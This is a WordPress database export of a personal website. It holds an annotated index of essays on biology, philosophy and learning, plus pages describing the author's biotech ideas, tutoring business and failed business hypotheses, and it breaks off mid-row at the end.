(23,1,'2021-03-07 17:53:59','2021-03-07 17:53:59','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed hypotheses\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a> - It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-03-07 17:53:59','2021-03-07 17:53:59','',22,'https://trevorklee.com/2021/03/07/22-revision-v1/',0,'revision','',0),
(27,1,'2021-03-07 18:06:09','2021-03-07 18:06:09','<!-- wp:paragraph -->\n<p>If you\'re interested in learning more about me, I\'d recommend starting with <a href=\"https://trevorklee.com/sample-page/\" data-type=\"page\" data-id=\"2\"><span style=\"color:#0a4fc7\" class=\"has-inline-color\">my current projects</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, you can also look at <a href=\"https://trevorklee.com/failed-hypotheses/\" data-type=\"page\" data-id=\"12\"><span style=\"color:#0b28c8\" class=\"has-inline-color\">my failed projects</span></a>, because what are successes without failures?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, I\'ve written a lot. A lot a lot. If you\'re interested in philosophy, learning, biology, or general science, you should read <a href=\"https://trevorklee.com/essays/\" data-type=\"page\" data-id=\"22\"><span style=\"background-color:rgba(0, 0, 0, 0);color:#0c2ad7\" class=\"has-inline-color\">my essays</span></a>. For the most up-to-date list of my essays, including my most recent ones, check out <a href=\"https://trevorklee.substack.com/\" data-type=\"page\" data-id=\"22\"><span style=\"background-color:rgba(0, 0, 0, 0);color:#0c2ad7\" class=\"has-inline-color\">my Substack</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'d like to contact me, just email [my first name] @ <a href=\"http://neutraoat.com\">neutraoat.com</a> .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re interested in what I look like, I\'ve put a photo of me below. Get ready for it!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":38,\"width\":\"262px\",\"height\":\"660px\",\"sizeSlug\":\"large\",\"linkDestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/03/Trevor-Klee-a-full-time-tutor-407x1024.jpg\" alt=\"\" class=\"wp-image-38\" style=\"width:262px;height:660px\"/><figcaption class=\"wp-element-caption\">Wow, what a photo!</figcaption></figure>\n<!-- /wp:image -->\n\n<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>','Welcome to my page!','','publish','closed','closed','','welcome-to-my-page','','','2026-07-12 17:15:37','2026-07-12 17:15:37','',0,'https://trevorklee.com/?page_id=27',0,'page','',0),
(29,1,'2021-03-07 18:06:09','2021-03-07 18:06:09','','Welcome to my page!','','inherit','closed','closed','','27-revision-v1','','','2021-03-07 18:06:09','2021-03-07 18:06:09','',27,'https://trevorklee.com/2021/03/07/27-revision-v1/',0,'revision','',0),
(31,1,'2021-03-07 18:08:40','2021-03-07 18:08:40','<!-- wp:paragraph -->\n<p>Hey, welcome to my homepage! Feel free to explore what I\'ve written and done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A bit about me: I\'m currently running an education business in Boston, MA. I have a dog. I write a lot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neat, right?</p>\n<!-- /wp:paragraph -->','Welcome to my page!','','inherit','closed','closed','','27-revision-v1','','','2021-03-07 18:08:40','2021-03-07 18:08:40','',27,'https://trevorklee.com/2021/03/07/27-revision-v1/',0,'revision','',0),
(32,1,'2021-03-07 18:08:54','2021-03-07 18:08:54','<!-- wp:heading -->\n<h2>Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for levodopa-induced dyskinesia in Parkinson\'s</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Dyskinesia in Parkinson\'s is poorly treated. It\'s a serious problem, and the only real solutions are amantadine and deep brain stimulation.  Amantadine is not an easy drug: it can cause nightmares and hallucinations. Deep brain stimulation requires invasive surgery.</li><li>Dyskinesia in Parkinson\'s is caused by [<em>tba</em>], which can be treated by [<em>tba</em>]. This should be a safe, effective treatment which will produce dramatic results that are easy to see (unlike, say, disease modifying treatments for Parkinson\'s, which are masked by levodopa until levodopa stops working).</li><li>Other dyskinesias will also benefit from this therapeutic.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> in the process of filing a provisional patent and getting experiments done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for glutamate excitoxicity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Glutamate excitoxicity isn\'t responsible for all neurodegeneration. However, there is some neurodegeneration that is caused by glutamate excitoxicity.</li><li>In neurodegeneration that is caused by glutamate excitoxicity, [<em>tba</em>] will prove effective.</li><li>Neurodegeneration, on the whole, is poorly treated and frankly terrifying. For ALS, traumatic brain injuries with neurodegeneration, Alzheimer\'s, etc. , there is really nothing that can be done currently.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: in the process of filing a provisional patent and getting experiments done</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for chronic heart failure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Despite being common, chronic heart failure is not well treated. If there are no obvious causes (and there usually aren\'t), care is more palliative than curative.</li><li>[<em>tba</em>] is a major cause of damage in chronic heart failure, and, when untreated, can lead to decline in heart function.</li><li>[<em>TBA therapeutic</em>] can treat this major cause of damage.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>TBA.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Refining my evidence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><a href=\"http://get21snight.com\"><span style=\"color:#0f2ec8\" class=\"has-inline-color\">My studying app, 21st Night</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Spaced repetition is a really useful way to memorize things that isn\'t used enough. This is because it\'s boring, somewhat difficult to incorporate with the rest of learning, and is somewhat counterintuitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A studying app based around spaced repetition that allows notes and a study plan, is gamified, and encourages but does not force spaced repetition will be popular with students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Looking at Anki\'s success stories, it\'s obvious that spaced repetition can be useful. However, Anki needs an explainer just to be useful. And, judging from personal experience, as well as the experience of students, it\'s easy to bounce off or slack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Eh. Work in progress. The hardest thing about it has been simply to continually make it easier to use while still accomplishing what I want it to accomplish. App development is hard. It makes some amount of money, at least. </p>\n<!-- /wp:paragraph -->','Current projects','','inherit','closed','closed','','2-revision-v1','','','2021-03-07 18:08:54','2021-03-07 18:08:54','',2,'https://trevorklee.com/2021/03/07/2-revision-v1/',0,'revision','',0),
(33,1,'2021-03-07 18:09:08','2021-03-07 18:09:08','<!-- wp:heading -->\n<h2>Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Using RNAi for agriculture</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: RNAi can be used to delete any RNA strands that it matches with. It could be used as an agricultural technique for pesky pests. For example, oysters are often devastated by herpes. Infecting the oysters with a bacteria that produces RNAi to target the RNA of herpes could be effective prevention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are a lot of pretty amazing papers showing the use of RNAi against various types of pests. The original one I saw showed RNAi being effectively used in honeybees against the agents responsible for colony collapse disorder.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: there are a lot of RNAi companies that have tried and failed. I think it\'s a combination of a mess of patents, difficulty with scaling up RNA production to be cost effective, and the caution people have for \"genetic engineering\". </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Exploring ketamine for blood pressure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: never quite got there. Something to do with raising blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Ketamine raises blood pressure, which is surprising for a dissociative. This is probably because it inhibits the norepinephrine transporter, and norepinephrine is used to raise blood pressure. Ketamine is also an anesthetic. Surgeons use it to anesthetize while raising blood pressure, as anesthesia/surgery can lower blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: blood pressure and arrhythmia are really specific. We have pretty good tools for most stuff with blood pressure, and any new tools probably need to be very specific. Also, ketamine on its own isn\'t a good tool to market, because you can\'t patent protect it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>The roles of anything other than autoimmunity in type I diabetes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis: </strong>there might be other sides of diabetes besides autoimmunity that could be targeted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>eh...there\'s suggestive stuff around the animal models, but nothing convincing in human models. Plus, it\'s hard to argue with how effective monoclonal antibodies have been in autoimmunity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I should avoid autoimmune diseases without monoclonal antibodies. They\'re just too good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Treating obesity-related asthma/inflammation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d be possible to alleviate obesity-related asthma (and other obesity-related disorders) with natural extracts that would have a beneficial effect both on inflammation and on weight/insulin resistance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be better than the first-line treatment for inflammation, which is corticosteroids, which are notorious for weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are suggestive papers around curcumin, thymoquinone, and osthole regarding reducing inflammation and encouraging weight loss. Also, using corticosteroids as anti-inflammation in obesity-related diseases is weird, considering how notorious corticosteroids are for causing weight gain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, I never knew how far to trust the papers on these sort of \"natural\" remedies, as they always seem to be by people with an agenda for these natural remedies who found exactly the biomarkers they looked for. Then, when I was even trying to clearly link to inflammation at all to obesity-related asthma, I find it\'s really only a disease found in women, and I had zero hypotheses for htat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: obesity and inflammation are really complicated. It\'s probably best not to mess with obesity, and inflammation is really best with a monoclonal antibody. Tnf-alpha inhibitors do pretty great with inflammation, although they have severe side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>$1 live classes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> a good way to make some money would be to offer $1 live classes to mass groups of people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: eh... none, really. I just offered it and see how it went.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: it\'s hard to make money that way. Processing fees are murder on $1 classes (most of them charge some amount of cents per processing fee). Plus, I just don\'t like teaching live classes that much. It\'s pretty stress inducing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: pay attention to processing fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>SAT/ACT tutoring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> I could hire Harvard undergrads to tutor kids in the SAT/ACT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed: </strong>I didn\'t really like it. I don\'t like the college admissions game or dealing with undergrads. The entire thing felt bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I wish it was \"don\'t try to do what you don\'t particularly like\", but that was a repeated mistake I made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Selling prerecorded LSAT lectures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could sell my live LSAT classes as a recording.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I was always aware that the LSAT, if they found out, would likely sue me, as I was using their copyrighted material and they\'re notoriously litigious. So, it made it hard to promote.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned:</strong> Either invite lawsuits or don\'t, but don\'t half-ass invite a lawsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Other businesses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Group buying for restaurants</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could lower costs for food businesses by group buying for them, or at least finding out the price from food vendors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: I was aware that price discovery for wholesale food was really hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: food businesses don\'t want to talk to people they don\'t know about their invoices, in part because a lot of them are cheating on their taxes. Also, didn\'t have a convincing sales pitch because I didn\'t know anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: don\'t get involved in businesses you don\'t know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Automated invoice entry</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d make my group buying business easier if I could automate invoice entry (see the problem here?). Also maybe I could sell the invoice entry app.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I did almost no research on what options were out there, and just went with my instinct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Automated receipt extraction from email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph 